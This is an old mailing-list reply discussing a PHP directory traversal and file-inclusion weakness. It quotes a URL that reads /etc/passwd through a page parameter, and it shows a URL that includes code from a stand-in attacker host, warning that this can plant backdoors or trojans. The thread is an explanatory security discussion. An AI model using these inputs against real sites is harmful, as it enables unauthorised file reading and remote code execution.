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Re: PHP Directory Transversal

Subject: Re: PHP Directory Transversal
Date: Mon, 14 Mar 2005 09:06:25 +0100 (CET)
Hi there,

Therefore, I tried doing a 
www.example.com/static.php?page=../../../../../../etc/passwd
but I get an error saying that file doesn't exist.
I user the same source code in my server, and I could retrieve the 
file...what can be happening? I don't think it is under a chroot jail...

What you can or can not read depends on the configuration of php 
(include_path vs safe mode for example). Have a look at : 
http://fr3.php.net/features.safe-mode

Now the real risk is not so much reading some source code as executing 
some other people's code. 

www.example.com/static.php?page=http://evilcracker.com/evil_code.txt 
has good chances of also getting executed, which opens the path to 
install any backdoor, download perl scripts/trojans, etc...

HTH
JG



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